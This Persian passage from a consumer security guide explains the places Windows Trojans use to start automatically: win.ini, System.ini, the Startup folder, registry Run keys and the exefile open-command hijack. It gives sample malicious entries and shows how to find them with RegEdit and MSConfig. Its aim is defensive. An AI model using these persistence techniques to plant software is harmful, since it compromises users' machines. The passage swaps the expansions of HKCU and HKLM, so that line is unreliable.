2- استفاده از win.ini: در این روش که امروزه زیاد مورد استفاده قرار نمی گیرد، با نوشتن عبارت load=filename.exe (که به جای filename.exe نام برنامه قرار می گیرد) یا Run=filename.exe در قسمت [windows]، برنامه مورد نظر با هر بار اجرای ویندوز اجرا خواهد شد. برای باز کردن فایل Win.ini و مشاهده محتویات آن، بهترین روش استفاده از برنامه System configuration editor ویندوز است. برای اجرای این برنامه از منوی Start، Run را انتخاب کنید (یا کلید ویندوز کیبورد خود را بگیرید و سپس کلید R را فشار دهید)، تایپ کنید SysEdit و OK را فشار دهید. از بین فایلهای باز شده فایل مورد نظر را پیدا کنید. اگر دقیقاً با این فایلها آشنایی ندارید، مواظب باشید که تغییری در این فایلها ندهید و اگر دادید، تغییرات خود را ضبط نکنید.

 3- استفاده از System.ini: این روش بسیار مشابه روش بالاست. و مانند بالا این فایل هم درون System configuration editor قابل مشاهده است. اگر در این فایل به عبارتی مشابه shell=Explorer.exe trojan.exe برخورد کردید، سیستم شما بلافاصله پس از اجرای explorer.exe، trojan.exe را اجرا خواهد کرد.

 4- استفاده از Start up: هر برنامه ای که در منوی Start داخل قسمت Startup قرار بگیرد، با هر بار اجرای ویندوز خود به خود اجرا خواهد شد. Startup در ویندوزهای جدیدتر در قسمت All programs منوی Start قرار دارد.

 5- استفاده از رجیستری: این روش که در حال حاضر متداولترین روش مورد استفاد ترواها و کرمها می باشد به این صورت است که نام فایل اجرایی به قسمت Run در رجیستری اضافه می گردد. رجیستری ویندوز حاوی اطلاعات مختلفی از سخت افزارها و نرم افزارهای گوناگون نصب شده روی سیستم شماست. برای مشاهده رجیستری، از منوی Start، Run را انتخاب کنید (یا کلید ویندوز کیبورد خود را بگیرید و سپس کلید R را فشار دهید) و در داخل جعبه متن آن تایپ کنید: RegEdit و OK را فشار دهید. اگر دقیقاً با رجیستری آشنایی ندارید، مواظب باشید که تغییری در آن ندهید. از میان قسمتهای مختلف رجیستری در اینجا ما با HKEY_CURRENT_USER و HKEY_LOCAL_MACHINE سروکار داریم. یکی از ایندو را انتخاب کنید و روی آن Double Click کنید (یا روی علامت + کنار آن کلیک کنید) حال به ترتیب گزینه های زیر را انتخاب کنید تا به Run برسید:

Software -> Microsoft -> Windows -> Current Version -> Run

      در شرایطی که بیش از یک نفر از یک رایانه استفاده می کنند و روی آن کاربران مختلف تعریف کرده اند، معمولاً برنامه هایی که در قسمت Run موجود در HKEY_LOCAL_MACHINE نامشان نوشته شده باشد با هر بار اجرای ویندوز برای تمام کاربران آن اجرا می شوند اما برنامه هایی که نام آنها در HKEY_CURRENT_USER آمده باشد فقط برای کاربری که در حال حاضر از سیستم استفاده می کند اجرا خواهند شد.

       ممکن است علاوه بر Run، گزینه هایی به نامهای RunOnce، RunServices یا RunServicesOnce را هم دیده باشید که آنها هم همین اثر را دارند با این تفاوت که اگر نام برنامه ای در RunOnce یا RunServicesOnce قرار بگیرد فقط یکبار یعنی فقط دفعه بعدی که ویندوز اجرا می شود به همراه ویندوز اجرا خواهد شد.

       6- روش ShellOpen رجیستری: در رجیستری و در زیر کلیدهای زیر باید همیشه عبارت "%1" %* نوشته شده باشد اما اگر به عبارتی مانند trojan.exe "%1" %*  برخورد کردید، بدانید که فایل Trojan.exe سعی دارد کاری کند با هر بار اجرای هر فایل اجرایی روی رایانه شما، او هم اجرا شود:

  [HKEY_CLASSES_ROOT\exefile\shell\open\command]

 

  [HKEY_LOCAL_MACHINE\SOFTWARE\Classes\exefile\shell\open\command]

       7- استفاده از روشهایی مانند  Binding و جایگزینی: اگرچه روشهایی که در بالا نوشته شد حاوی تمامی روشهایی است که امروزه مورد استفاده قرار می گیرند، روشهای اجرا هرگز به موارد فوق ختم نمی شوند و همیشه جای ابتکار یا استفاده از روشهایی که فقط روی سیستمها یا در شرایط خاصی عمل کنند باز است بنابراین به صرف اینکه مطمئن شوید از طریق روشهای بالا سیستم شما آلوده نشده است کفایت نمی کند. به عنوان نمونه در روشهایی مانند  Binding و جایگزینی که هنوز چندان مورد استفاده قرار نگرفته و پیش بینی می شود در آینده نزدیک بیشتر مورد استفاده قرار بگیرند، فایلی که قرار است با هر بار اجرای ویندوز خود را اجرا کند، فایل دیگری را پیدا می کند که این کار را انجام دهد و سپس خود را به آن می چسباند. به عنوان نمونه با تشخیص اینکه روی سیستم، فایل مربوط به ویندوز مسنجر با هر بار اجرای ویندوز اجرا می شود، کاری می کند که در هنگام اجرای ویندوز مسنجر، آن برنامه هم اجرا شود. اگر برنامه برای این کار خود را به فایل اجرایی مسنجر ویندوز بچسباند، می گویند از Binding استفاده کرده است اما اگر خود را جایگزین آن کند، می گویند از روش جایگزینی استفاده کرده است. اگرچه این روشها از قدیم توسط ویروسهای مختلف برای آلوده کردن فایلهای اجرایی به کار گرفته می شدند اما استفاده از این روش برای اجرای همزمان با ویندوز احتمالاً به زودی بیشتر مورد استفاده قرار خواهد گرفت.

      پس از مطالعه روشهای بالا، احتمالاً شما هم با من هم عقیده هستید که پیدا کردن یک تروا به روش دستی کار چندان ساده ای نیست؛ اما اکثریت قریب به اتفاق ترواها از روشهای رجیستری استفاده می کنند و شما از تغییرات ایجاد شده در قسمتهای Run می توانید به آلوده شدن سیستم پی ببرید. یک ابزار بسیار عالی که در اکثر ویندوزها وجود دارد (در ویندوز 2000 وجود ندارد) ابزاری به نام System Configuration Utility است. برای اجرای این ابزار، از منوی Start، Run را انتخاب کنید (یا کلید ویندوز کیبورد خود را بگیرید و سپس کلید R را فشار دهید) و در داخل جعبه متن آن تایپ کنید: MSConfig و OK را فشار دهید. اگرچه این ابزار کاربردهای مختلفی دارد، ما در اینجا فقط به ذکر کاربردهایی از آن می پردازیم که به موضوع بحث ما بیشتر مربوط هستند. پس از باز شدن صفحه System Configuration Utility، از بالای صفحه Startup را انتخاب کنید. خواهید دید که اکثر فایلهایی که خود به خود همراه ویندوز شما اجرا می شوند در اینجا لیست شده اند و شما با حذف تیک کنار اسم آنها می توانید آنها را از کار بیندازید. در قسمت Startup item نامی که برنامه برای خود برگزیده است، در قسمت command، آدرس فایل اجرایی برنامه و در قسمت Location تکنیک مورد استفاده توسط برنامه برای اجرا را خواهید دید. توجه به نکات زیر هم در استفاده از MSConfig به شما کمک خواهد کرد:

1- چون معمولاً قسمتهای command و location فضای کافی برای نمایش کامل محتویات خود را ندارند، موش رایانه را روی خط جداکننده command از location یا خط انتهای location ببرید تا بتوانید اندازه این قسمتها را تغییر دهید.

 2- عبارتهای HKCU و HKLM به ترتیب مخفف HKEY_LOCAL_MACHINE و HKEY_CURRENT_USER می باشند که در بالا و در تکنیک شماره 5 به آنها اشاره شد.

 3- برای مشاهده فایلهای System.ini و win.ini، علاوه بر روش گفته شده در بالا (در مورد شماره 2) کافی است که از قسمت بالای MSConfig گزینه های SYSTEM.INI و WIN.INI را انتخاب کنید.